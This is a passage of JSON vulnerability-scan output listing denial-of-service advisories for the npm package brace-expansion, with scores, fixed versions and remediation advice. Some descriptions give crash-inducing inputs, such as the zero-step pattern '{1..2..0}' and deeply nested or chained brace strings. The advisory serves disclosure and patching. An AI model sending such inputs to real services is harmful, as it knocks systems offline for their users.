"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable 